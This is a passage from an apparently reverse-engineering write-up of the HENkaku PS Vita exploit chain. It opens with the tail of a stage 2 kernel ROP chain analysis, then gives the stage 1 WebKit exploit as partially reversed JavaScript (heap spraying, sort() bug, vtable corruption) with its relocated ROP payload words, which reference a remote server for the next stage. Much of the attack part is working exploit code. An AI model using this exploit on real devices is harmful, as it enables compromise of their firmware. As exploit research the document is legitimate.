        sceiofilemgr_stack_base = 0x00(x_stack + 0x000072F8) + 0xFFFFF544
When preparing to write the kernel ROP chain, we can see a few pointers being set. These translate to:
  •     // Kernel ROP inside sceiofilemgr
        // This is where our ROP chain gets copied to inside the SceIoFilemgr module
        kern_rop = sceiofilemgr_stack_base + 0x000006F8
        // Encrypted kernel code
        kern_code = kern_rop + 0x300
Now we write down our kernel ROP chain in the stack, but we can see that some values only get written afterwards.
This is because these values are directly related to the decryption of the next kernel level stage! Team molecule likely only writes them into the ROP chain later so they can easily update the encrypted stage without having to change the kernel ROP chain directly.
So:
  •     // Overwrite specific NULLs in the ROP chain
        0x00(x_stack + 0x00008C04) = 0x00(x_stack + 0x00008EAC)     // kern_code
        0x00(x_stack + 0x00008B48) = 0x00000090
        0x00(x_stack + 0x00008CC0) = 0x00000240
        0x00(x_stack + 0x00008D58) = 0x00000200
        0x00(x_stack + 0x00008D14) = 0x00008FC0                     // kern_next_payload
And our final ROP chain should look like this:
0x00(x_stack + 0x00008A8C) = scesysmem_base + 0x00000031
0x00(x_stack + 0x00008A90) = 0x08106803
0x00(x_stack + 0x00008A94) = scesysmem_base + 0x0001EFF1
0x00(x_stack + 0x00008A98) = 0x00000038
0x00(x_stack + 0x00008A9C) = scesysmem_base + 0x0001EFE1
0x00(x_stack + 0x00008AA0) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008AA4) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008AA8) = scesysmem_base + 0x0001B571
0x00(x_stack + 0x00008AAC) = 0x00000000
0x00(x_stack + 0x00008AB0) = scesysmem_base + 0x00001E43
0x00(x_stack + 0x00008AB4) = 0x00000000
0x00(x_stack + 0x00008AB8) = scesysmem_base + 0x0001FC6D
0x00(x_stack + 0x00008ABC) = scesysmem_base + 0x0000EA73
0x00(x_stack + 0x00008AC0) = scesysmem_base + 0x00000031
0x00(x_stack + 0x00008AC4) = scesysmem_base + 0x00027913
0x00(x_stack + 0x00008AC8) = scesysmem_base + 0x0000A523
0x00(x_stack + 0x00008ACC) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008AD0) = scesysmem_base + 0x00000CE3
0x00(x_stack + 0x00008AD4) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008AD8) = scesysmem_base + 0x0001F2B1
0x00(x_stack + 0x00008ADC) = scesysmem_base + 0x00000067
0x00(x_stack + 0x00008AE0) = scesysmem_base + 0x0000587F
0x00(x_stack + 0x00008AE4) = scesysmem_base + 0x00019713
0x00(x_stack + 0x00008AE8) = scesysmem_base + 0x00001605
0x00(x_stack + 0x00008AEC) = scesysmem_base + 0x00001E1D
0x00(x_stack + 0x00008AF0) = 0x00000000
0x00(x_stack + 0x00008AF4) = scesysmem_base + 0x0001EFE1
0x00(x_stack + 0x00008AF8) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008AFC) = scesysmem_base + 0x00001603
0x00(x_stack + 0x00008B00) = scesysmem_base + 0x0001F2B1
0x00(x_stack + 0x00008B04) = scesysmem_base + 0x00001F17
0x00(x_stack + 0x00008B08) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008B0C) = scesysmem_base + 0x00000031
0x00(x_stack + 0x00008B10) = scesysmem_base + 0x0000B913
0x00(x_stack + 0x00008B14) = scesysmem_base + 0x00023B61
0x00(x_stack + 0x00008B18) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008B1C) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008B20) = scesysmem_base + 0x000232EB
0x00(x_stack + 0x00008B24) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008B28) = scesysmem_base + 0x0001B571
0x00(x_stack + 0x00008B2C) = scesysmem_base + 0x00023B61
0x00(x_stack + 0x00008B30) = scesysmem_base + 0x000232F1
0x00(x_stack + 0x00008B34) = scesysmem_base + 0x00001411
0x00(x_stack + 0x00008B38) = scesysmem_base + 0x00000AE1
0x00(x_stack + 0x00008B3C) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008B40) = scesysmem_base + 0x000050E9
0x00(x_stack + 0x00008B44) = scesysmem_base + 0x00001411
0x00(x_stack + 0x00008B48) = 0x00000090
0x00(x_stack + 0x00008B4C) = scesysmem_base + 0x0001F2B1
0x00(x_stack + 0x00008B50) = scesysmem_base + 0x00012B11
0x00(x_stack + 0x00008B54) = scesysmem_base + 0x00000CE3
0x00(x_stack + 0x00008B58) = scesysmem_base + 0x000000D1
0x00(x_stack + 0x00008B5C) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008B60) = scesysmem_base + 0x0001F2B1
0x00(x_stack + 0x00008B64) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008B68) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008B6C) = scesysmem_base + 0x0001FDC5
0x00(x_stack + 0x00008B70) = scesysmem_base + 0x0001D8DB
0x00(x_stack + 0x00008B74) = scesysmem_base + 0x00019399
0x00(x_stack + 0x00008B78) = scesysmem_base + 0x00019399
0x00(x_stack + 0x00008B7C) = scesysmem_base + 0x00011C5F
0x00(x_stack + 0x00008B80) = scesysmem_base + 0x00019399
0x00(x_stack + 0x00008B84) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008B88) = scesysmem_base + 0x0000B913
0x00(x_stack + 0x00008B8C) = 0x00000000
0x00(x_stack + 0x00008B90) = scesysmem_base + 0x0001EFE1
0x00(x_stack + 0x00008B94) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008B98) = scesysmem_base + 0x00001861
0x00(x_stack + 0x00008B9C) = scesysmem_base + 0x0001FC6D
0x00(x_stack + 0x00008BA0) = scesysmem_base + 0x0001F2B1
0x00(x_stack + 0x00008BA4) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008BA8) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008BAC) = scesysmem_base + 0x00019399
0x00(x_stack + 0x00008BB0) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008BB4) = scesysmem_base + 0x00019399
0x00(x_stack + 0x00008BB8) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008BBC) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008BC0) = scesysmem_base + 0x0001614D
0x00(x_stack + 0x00008BC4) = scesysmem_base + 0x000233D3
0x00(x_stack + 0x00008BC8) = scesysmem_base + 0x0001F2B1
0x00(x_stack + 0x00008BCC) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008BD0) = scesysmem_base + 0x000000AF
0x00(x_stack + 0x00008BD4) = scesysmem_base + 0x00001605
0x00(x_stack + 0x00008BD8) = scesysmem_base + 0x0001EFE1
0x00(x_stack + 0x00008BDC) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008BE0) = scesysmem_base + 0x000050E9
0x00(x_stack + 0x00008BE4) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008BE8) = scesysmem_base + 0x00001347
0x00(x_stack + 0x00008BEC) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008BF0) = scesysmem_base + 0x000000B9
0x00(x_stack + 0x00008BF4) = scesysmem_base + 0x0001F2B1
0x00(x_stack + 0x00008BF8) = scesysmem_base + 0x00001347
0x00(x_stack + 0x00008BFC) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008C00) = scesysmem_base + 0x0000039B
0x00(x_stack + 0x00008C04) = kern_code
0x00(x_stack + 0x00008C08) = scesysmem_base + 0x0001CB95
0x00(x_stack + 0x00008C0C) = scesysmem_base + 0x0001EA93
0x00(x_stack + 0x00008C10) = scesysmem_base + 0x00001411
0x00(x_stack + 0x00008C14) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008C18) = scesysmem_base + 0x000209D7
0x00(x_stack + 0x00008C1C) = scesysmem_base + 0x000209D3
0x00(x_stack + 0x00008C20) = scesysmem_base + 0x00001411
0x00(x_stack + 0x00008C24) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008C28) = scesysmem_base + 0x0001BAF5
0x00(x_stack + 0x00008C2C) = scesysmem_base + 0x00001605
0x00(x_stack + 0x00008C30) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008C34) = scesysmem_base + 0x0000652B
0x00(x_stack + 0x00008C38) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008C3C) = scesysmem_base + 0x0001BAF5
0x00(x_stack + 0x00008C40) = scesysmem_base + 0x00022A49
0x00(x_stack + 0x00008C44) = 0xFFFFFEB0
0x00(x_stack + 0x00008C48) = scesysmem_base + 0x0000039B
0x00(x_stack + 0x00008C5C) = 0x00000040
0x00(x_stack + 0x00008C50) = scesysmem_base + 0x00022A49
0x00(x_stack + 0x00008C54) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008C58) = scesysmem_base + 0x0000652B
0x00(x_stack + 0x00008C6C) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008C60) = scesysmem_base + 0x0000039B
0x00(x_stack + 0x00008C64) = 0x00000040
0x00(x_stack + 0x00008C68) = scesysmem_base + 0x00001605
0x00(x_stack + 0x00008C6C) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008C70) = scesysmem_base + 0x0001D9EB
0x00(x_stack + 0x00008C74) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008C78) = scesysmem_base + 0x00000853
0x00(x_stack + 0x00008C7C) = scesysmem_base + 0x0001D8DB
0x00(x_stack + 0x00008C80) = 0x00000038
0x00(x_stack + 0x00008C84) = scesysmem_base + 0x000000AB
0x00(x_stack + 0x00008C88) = scesysmem_base + 0x000000D1
0x00(x_stack + 0x00008C8C) = scesysmem_base + 0x0002328B
0x00(x_stack + 0x00008C90) = scesysmem_base + 0x00022FCD
0x00(x_stack + 0x00008C94) = scesysmem_base + 0x000000D1
0x00(x_stack + 0x00008C98) = scesysmem_base + 0x0001EFF1
0x00(x_stack + 0x00008C9C) = scesysmem_base + 0x0002A117
0x00(x_stack + 0x00008CA0) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008CA4) = scesysmem_base + 0x00001605
0x00(x_stack + 0x00008CA8) = scesysmem_base + 0x00019399
0x00(x_stack + 0x00008CAC) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008CB0) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008CB4) = scesysmem_base + 0x0001BF1F
0x00(x_stack + 0x00008CB8) = 0xFFFFFEB0
0x00(x_stack + 0x00008CBC) = scesysmem_base + 0x0000039B
0x00(x_stack + 0x00008CC0) = 0x00000240
0x00(x_stack + 0x00008CC4) = scesysmem_base + 0x00022A49
0x00(x_stack + 0x00008CC8) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008CCC) = scesysmem_base + 0x00003D73
0x00(x_stack + 0x00008CD0) = 0x00000000
0x00(x_stack + 0x00008CD4) = scesysmem_base + 0x000021FD
0x00(x_stack + 0x00008CD8) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008CDC) = scesysmem_base + 0x000050E9
0x00(x_stack + 0x00008CE0) = scesysmem_base + 0x00000AE1
0x00(x_stack + 0x00008CE4) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008CE8) = scesysmem_base + 0x0002A117
0x00(x_stack + 0x00008CEC) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008CF0) = scesysmem_base + 0x0001F2B1
0x00(x_stack + 0x00008CF4) = scesysmem_base + 0x00000067
0x00(x_stack + 0x00008CF8) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008CFC) = scesysmem_base + 0x0001BF47
0x00(x_stack + 0x00008D00) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008D04) = scesysmem_base + 0x000050E9
0x00(x_stack + 0x00008D08) = scesysmem_base + 0x0000AF33
0x00(x_stack + 0x00008D0C) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008D10) = scesysmem_base + 0x0001D9EB
0x00(x_stack + 0x00008D14) = kern_next_payload
0x00(x_stack + 0x00008D18) = scesysmem_base + 0x0001FC6D
0x00(x_stack + 0x00008D1C) = scesysmem_base + 0x0000EA73
0x00(x_stack + 0x00008D20) = scesysmem_base + 0x0000039B
0x00(x_stack + 0x00008D24) = scesysmem_base + 0x00000853
0x00(x_stack + 0x00008D28) = 0xFFFFFFFF
0x00(x_stack + 0x00008D2C) = 0x08106803
0x00(x_stack + 0x00008D30) = scesysmem_base + 0x000233D3
0x00(x_stack + 0x00008D34) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008D38) = scesysmem_base + 0x00000433
0x00(x_stack + 0x00008D3C) = scesysmem_base + 0x000233D3
0x00(x_stack + 0x00008D40) = scesysmem_base + 0x000150A3
0x00(x_stack + 0x00008D44) = 0x00000000
0x00(x_stack + 0x00008D48) = scesysmem_base + 0x0000A74D
0x00(x_stack + 0x00008D4C) = scesysmem_base + 0x00000000
0x00(x_stack + 0x00008D50) = scesysmem_base + 0x00000853
0x00(x_stack + 0x00008D54) = scesysmem_base + 0x0001BF1F
0x00(x_stack + 0x00008D58) = 0x00000200
0x00(x_stack + 0x00008D5C) = scesysmem_base + 0x00001605
0x00(x_stack + 0x00008D60) = scesysmem_base + 0x00000347
0x00(x_stack + 0x00008D64) = scesysmem_base + 0x000050E9
0x00(x_stack + 0x00008D68) = scesysmem_base + 0x00001605
0x00(x_stack + 0x00008D6C) = scesysmem_base + 0x00022FCD
0x00(x_stack + 0x00008D70) = scesysmem_base + 0x000039EB
0x00(x_stack + 0x00008D74) = scesysmem_base + 0x00000853
0x00(x_stack + 0x00008D78) = scesysmem_base + 0x00011C5F
Now we copy the chain from the stack into the buffer that's being sent through sceIoDevctl:
  •     // Copy kernel ROP chain
        memcpy(x_stack + 0x00007448, x_stack + 0x00008A8C, 0x300);
        // Copy the first 0x400 bytes of "obfuscated" data
        // and append them at the bottom of the ROP chain
        memcpy(x_stack + 0x00007744, x_stack + 0x00008EB8, 0x400);
And so, the final input buffer will look like this:
  •     // SceSysmem address
        // Unknown pointer written right on top of the input buffer
        0x00(x_stack + 0x00007444) = scesysmem_base + 0x0001E460
        // Kernel ROP chain
        0x00(x_stack + 0x00007448) = 0xXXXXXXXX;
        ...
        0x00(x_stack + 0x00007734) = 0xXXXXXXXX;
        // A few NULLs for padding
        0x00(x_stack + 0x00007738) = 0x00000000;
        0x00(x_stack + 0x0000773C) = 0x00000000;
        0x00(x_stack + 0x00007740) = 0x00000000;
        // Encrypted kernel code
        // Only the first 0x100 bytes will fit in the buffer
        0x00(x_stack + 0x00007744) = 0xXXXXXXXX;
        ...
        0x00(x_stack + 0x00007B44) = 0xXXXXXXXX;
Finally, we must craft a buffer that will have our ROP chain's SP and PC. This is the buffer we feed the SceNet exploit with:
  •     // Set kernel thread SP, PC, UNK
        0x00(x_stack + 0x0000884C) = sceiofilemgr_stack_base + 0x000006F8 + 0x00000004      // SP
        0x00(x_stack + 0x00008850) = scesysmem_base + 0x00000347                            // PC
        0x00(x_stack + 0x00008858) = sceiofilemgr_stack_base + 0x000006DC                   // UNK
When the SceNet exploit finishes, we should have hijacked a kernel thread inside the SceNetPs module and overwritten it's stack contents with our own.
This results in the kernel jumping to scesysmem_base + 0x00000347 (which is very likely a POP {PC} gadget) and executing our ROP chain at sceiofilemgr_stack_base + 0x000006F8 + 0x00000004 (which translates to kern_rop + 0x04).
  
To further reverse the exploit, one must dump the target kernel modules, rebuild the kernel ROP and deobfuscate/decrypt the rest of HENkaku's code.


Next up, stage 3!

HENkaku - Exploit teardown - Stage 1

This post aggregates my previously published write-ups that detail the first stage of HENkaku's exploit chain.
Information has been reorganized to reflect the original developers' naming scheme.


HENkaku - Stage 1


Visiting http://henkaku.xyz and pressing the "Install" button results in a server side useragent check.
If the browser's useragent matches the one of a PS Vita/PSTV on the latest firmware version (3.60), the user is redirected to http://go.henkaku.xyz and an exploit is deployed.
This exploit re-uses elements from the older public exploits (heap spraying method, sort() bug, scrollLeft attribute manipulation) and pairs them with a new heap corruption technique.
Team molecule renamed variables and methods to provide a simple obfuscation layer on the HTML code.

Partially reversed HTML:
<script src='payload.js'></script>
<script>
var r, a, e, t, n, o, l, i, f, v, s, c;
var u, y, w, p, d, g, h, k, b;
var A, U;
var m = 0x40 + payload[16/4]; /* 0x40 bytes for ROP header + 1840 bytes for stack*/
m /= 4; /* 476 */
var _dview = null;
/*
Wrap two uint32s into double precision
*/
function u2d(low, hi)
{
if (!_dview)
_dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0)
}
/*
Unwrap uints from double
*/
function d2u(d)
{
if (!_dview)
_dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0, d);
return {low:_dview.getUint32(4),hi:_dview.getUint32(0)}
}
// Temporary space to store Element object
var aspace_temp = new Uint32Array(1024);
var word1 = 0;
var word2 = 0;
function swap(offset)
{
word1 = aspace32[offset/4];
word2 = aspace32[offset/4 + 1];
return((word1 & 0xFFF | (word1 & 0xF0000) >> 4) & 0xFFFF | ((word2 & 0xFFF | (word2 & 0xF0000) >> 4) & 0xFFFF) << 16) >>> 0
}
r = 0x4000;
textareas = new Array(r);
aspace_arr = new Array(r);
t = 0x1344;
n = 0x66656463;
o = 0x55555555;
for (var i = 0; i < aspace_arr.length; ++i)
{
aspace_arr[i] = new Uint32Array(0x1344/4);
var e = document.createElement("textarea");
e.rows = 0x66656463;
textareas[i] = e;
}
/*
Spray memory with Element objects
*/
for (var i = 0; i < 1024; ++i)
{
var e = document.createElement("textarea");
e.rows = 0x66656463;
textareas.push(e);
}
var N = 0x3000;
var W = Array.prototype.constructor.apply(null,new Array(0x3000));
var j = 2048;
var q = new Array(2048);
var z = {};
var C = new Array(256);
z.toString = function()
{
W.push(12345);
for (var r = 0; r < C.length; ++r)
{
var a = Array.prototype.constructor.apply(null, q);
a[0] = 0;
a[1] = 1;
a[2] = 2;
C[r] = a;
} return""
};
W[0] = z;
var G = u2d(0x80000000, 0x80000000);
for (var i = 1; i < 8192; ++i)
W[i] = G;
W.sort();
contents = "";
cur = 0;
z.toString = function(){};
var I = null;
for (var i = 0; i < C.length; ++i)
{
if(C[i].length != j)
{
I = C[i];
break;
}
}
var count = 0x20000000 - 0x11000;
for(; ; count--)
{
if(I[count] != 0)
{
_dview.setFloat64(0, I[J]);
if (_dview.getUint32(0) == t/4)
{
_dview.setUint32(0, 0xEFFFFFE0);
I[J] = _dview.getFloat64(0);
_dview.setFloat64(0, I[J - 2]);
v = _dview.getUint32(4);
_dview.setUint32(4, 0);
_dview.setUint32(0, 0x80000000);
I[J-2] = _dview.getFloat64(0);
break;
}
}
}
target_aspace = null;
for (var i = 0; i < aspace_arr.length; ++i)
{
if(aspace_arr[i].byteLength != t)
{
target_aspace = aspace_arr[i];
break;
}
}
if (!target_aspace)
{
alert("failed");
while(1){};
}
var aspace32 = target_aspace;
var fkvtable = v;
f = v;
/*
Find one of the sprayed Element objects in memory
by looking for the rows of the object
*/
for (var addr = f/4; addr < f/4 + 0x4000; ++addr)
{
if (aspace32[addr] == 0x66656463)
{
aspace32[addr] = 0x55555555;
textarea_addr = addr * 4;
found_element = true;
break;
}
}
if (!found_element)
{
alert("Did not find Element signature");
while(1){};
}
/*
Change the rows of the Element object then scan the array of
sprayed objects to find an object whose rows have been changed
*/
var found_corrupted = false;
var corrupted_textarea;
for (var i = 0; i < textareas.length; ++i)
{
if(textareas[i].rows == 0x55555555)
{
corrupted_textarea = textareas[i];
found_corrupted = true;
break;
}
}
if (!found_corrupted)
{
alert("Did not find corrupted textarea");
while(1){};
}
var vtidx = textarea_addr - 0x70;
var textareavptr = aspace32[vtidx/4];
scewkbase = textareavptr - 0xABB65C;
scelibcbase = swap(scewkbase + 0x85F504) - 0xFA49;
scekernbase = swap(scewkbase + 0x85F464) - 0x9031;
p = swap(scewkbase + 0x85D2E4) - 0x22D65;
d = swap(p + 0x2C688C) - 0x9E5;
g = swap(d + 0x3BC4) - 0xDC2D;
scenetbase = swap(scewkbase + 0x85F414) - 0x23ED;
k = swap(g + 0x18BF4) - 0xD59;
b = swap(k + 0x9AB8) - 0x49CD;
// Copy vtable
for (var i = 0; i < 64; i++)
aspace32[fkvtable/4 + i] = aspace32[textareavptr/4 + i];
aspace32[vtidx/4] = fkvtable;
// Save Element object
for (var i = 0; i < 0x30; ++i)
aspace_temp[i] = aspace32[vtidx/4 + i];
// Call setjmp
aspace32[fkvtable/4 + 0x4E] = scelibcbase + 0x14070|1;
// Undefine scrollLeft
corrupted_textarea.scrollLeft = 0;
// Save payload address (jmp context)
payload_addr = (aspace32[vtidx/4 + 8] ^ (aspace32[vtidx/4 + 9] ^ u + 0x317929) >>> 0) >>> 0;
payload_addr -= 0xEF818;
// Restore Element object
for (var i = 0; i < 0x30; ++i)
aspace32[vtidx/4 + i] = aspace_temp[i];
payload_stack = payload_addr + 0x40;
payload_code = payload_addr + 0x10000;
payload_off = payload_addr/4;
// Build ROP payload
for (var i = 0; i < payload.length; ++i,++payload_off)
{
// Reached the end of ROP header (first 0x770 bytes)
if (i == 476)
payload_off = payload_code/4;
switch(relocs[i])
{
case 0:
aspace32[payload_off] = payload[i];
break;
case 1:
aspace32[payload_off] = payload[i] + payload_stack;
break;
case 2:
aspace32[payload_off] = payload[i] + scewkbase;
break;
case 3:
aspace32[payload_off] = payload[i] + scekernbase;
break;
case 4:
aspace32[payload_off] = payload[i] + scelibcbase;
break;
case 5:
aspace32[payload_off] = payload[i] + g;
break;
case 6:
aspace32[payload_off] = payload[i] + scenetbase;
break;
case 7:
aspace32[payload_off] = payload[i] + b;
break;
default:
alert("wtf?");
alert(i + " " + relocs[i])
}
}
// Trigger ROPchain
aspace32[fkvtable/4 + 0x4E] = scewkbase + 0x54C8; /* LDM R1 gadget */
var rchainaddr = fkvtable + 0x100;
aspace32[rchainaddr/4 + 5] = payload_code;
aspace32[rchainaddr/4 + 6] = scewkbase + 0xC048A|1;
alert("Welcome to HENkaku!");
// Set scrollLeft to ROP chain
corrupted_textarea.scrollLeft = rchainaddr;
alert("that's it");
</script>

Similarly to older exploits, this allows to corrupt an object's vtable and achieve ROP inside the SceWebkit module.
Offsets for libraries and relevant ROP gadgets are fetched from a javascript file (http://go.henkaku.xyz/payload.js) during the last stage of the exploit.
Team molecule implemented a dynamic method to relocate gadgets and functions' offsets for each module after their base addresses' are found (by looking at SceWebkit's import stubs).
The payload.js file contains two arrays, one containing the payload's binary data and another containing the relocation type for each word.
By crossing this information the exploit reads the payload and relocates all code offsets to their target module's address space by adding the module's base address to them:
    Relocation type 0 -> Plain data stored inside the ROP space itself. No relocation needed.
    Relocation type 1 -> Offset inside the ROP payload's stack.
    Relocation type 2 -> Offset inside the SceWebkit module.
    Relocation type 3 -> Offset inside the SceLibKernel module.
    Relocation type 4 -> Offset inside the SceLibc module.
    Relocation type 5 -> Offset inside the SceLibHttp module.
    Relocation type 6 -> Offset inside the SceNet module.
    Relocation type 7 -> Offset inside the SceAppMgr module.

Payload's generated binary data:
[HEADER] (0x40 bytes)
0x524f507e -> ROP~
0x01000100 -> Version
0x00000000 -> NULL
0x00000000 -> NULL
0x00000730 -> No reloc
0x00000000 -> NULL
0x00000000 -> NULL
0x00000000 -> NULL
0x000003F8 -> No reloc
0x00000000 -> NULL
0x000C048B -> No reloc
0x00000000 -> NULL
0x000005E8 -> No reloc
0x00000000 -> NULL
0x00000038 -> No reloc
0x00000000 -> NULL
[STACK] (from 0x40 to 0x770)
At 0x6F8 contains the strings:
"http://go.henkaku.xyz/x"
"st2"
"?a1=%x"
"&a2=%x&a3=%x&a4=%x&"
"&a5=%x&a6=%x&a7=%x&"
"ldr"
[CODE] (from 0x770 to 0xB68)
0x008e27c5 -> Reloc to SceWebkit
0x00000040 -> No reloc
0x00000028 -> Reloc to stack
0x00106fc5 -> Reloc to SceWebkit
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x008dd9b5 -> Reloc to SceWebkit
0x000000ff -> No reloc
0x000003f0 -> Reloc to stack
0x00000028 -> Reloc to stack
0x00000000 -> No reloc
0x0000675c -> Reloc to SceLibKernel
0x00000000 -> No reloc
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008e27c5 -> Reloc to SceWebkit
0x000001b8 -> No reloc
0x000004f8 -> Reloc to stack
0x00106fc5 -> Reloc to SceWebkit
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x008e7445 -> Reloc to SceWebkit
0x00000444 -> Reloc to stack
0x000004f8 -> Reloc to stack
0x000695b1 -> Reloc to SceWebkit
0x0000676c -> Reloc to SceLibKernel
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008dd9b5 -> Reloc to SceWebkit
0x000006d8 -> Reloc to stack
0x000054c8 -> Reloc to SceWebkit
0x10000100 -> No reloc
0x00600000 -> No reloc
0x0000acc9 -> Reloc to SceLibKernel
0x00000000 -> No reloc
0x000bfb91 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x00000000 -> No reloc
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x00895285 -> Reloc to SceWebkit
0x00000004 -> Reloc to stack
0x00106fc5 -> Reloc to SceWebkit
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008e27c5 -> Reloc to SceWebkit
0x0000007c -> No reloc
0x00000034 -> Reloc to stack
0x00106fc5 -> Reloc to SceWebkit
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x008e7445 -> Reloc to SceWebkit
0x00000004 -> Reloc to stack
0x00000034 -> Reloc to stack
0x000695b1 -> Reloc to SceWebkit
0x0000a791 -> Reloc to SceLibKernel
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008e7445 -> Reloc to SceWebkit
0x00000068 -> Reloc to stack
0x00001000 -> No reloc
0x000695b1 -> Reloc to SceWebkit
0x00130a15 -> Reloc to SceWebkit
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x00895285 -> Reloc to SceWebkit
0x0000001c -> Reloc to stack
0x00106fc5 -> Reloc to SceWebkit
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008e27c5 -> Reloc to SceWebkit
0x000000bc -> Reloc to stack
0x000006b8 -> Reloc to stack
0x00006775 -> Reloc to SceLibc
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x008dd9b5 -> Reloc to SceWebkit
0x0000001c -> Reloc to stack
0x00000000 -> No reloc
0x008e27c5 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x00000000 -> No reloc
0x000fcdbb -> Reloc to SceWebkit
0x000695b1 -> Reloc to SceWebkit
0x000065bd -> Reloc to SceLibc
0x0021a295 -> Reloc to SceWebkit
0x000002c4 -> Reloc to stack
0x00000100 -> No reloc
0x000006e4 -> Reloc to stack
0x001c6467 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008e27c5 -> Reloc to SceWebkit
0x000000bc -> Reloc to stack
0x000002c4 -> Reloc to stack
0x00006775 -> Reloc to SceLibc
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x008dd9b5 -> Reloc to SceWebkit
0x000002c4 -> Reloc to stack
0x00000100 -> No reloc
0x000006f0 -> Reloc to stack
0x00000000 -> Reloc to SceWebkit
0x000065bd -> Reloc to SceLibc
0x00000000 -> No reloc
0x000bfb91 -> Reloc to SceWebkit
0x00000000 -> Reloc to SceLibKernel
0x00000000 -> Reloc to SceLibc
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008e27c5 -> Reloc to SceWebkit
0x000000bc -> Reloc to stack
0x000002c4 -> Reloc to stack
0x00006775 -> Reloc to SceLibc
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x008dd9b5 -> Reloc to SceWebkit
0x000002c4 -> Reloc to stack
0x00000100 -> No reloc
0x0000070c -> Reloc to stack
0x00000000 -> Reloc to Unk5
0x000065bd -> Reloc to SceLibc
0x00000000 -> No reloc
0x000bfb91 -> Reloc to SceWebkit
0x00000000 -> Reloc to SceNet
0x00000000 -> Reloc to Unk7
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008e27c5 -> Reloc to SceWebkit
0x000000bc -> Reloc to stack
0x000002c4 -> Reloc to stack
0x00006775 -> Reloc to SceLibc
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x0091b9bd -> Reloc to SceWebkit
0x00010000 -> No reloc
0x000092fd -> Reloc to Unk5
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008dd9b5 -> Reloc to SceWebkit
0x00000728 -> Reloc to stack
0x00000002 -> No reloc
0x00000001 -> No reloc
0x00000000 -> No reloc
0x0000947b -> Reloc to Unk5
0x00000000 -> No reloc
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
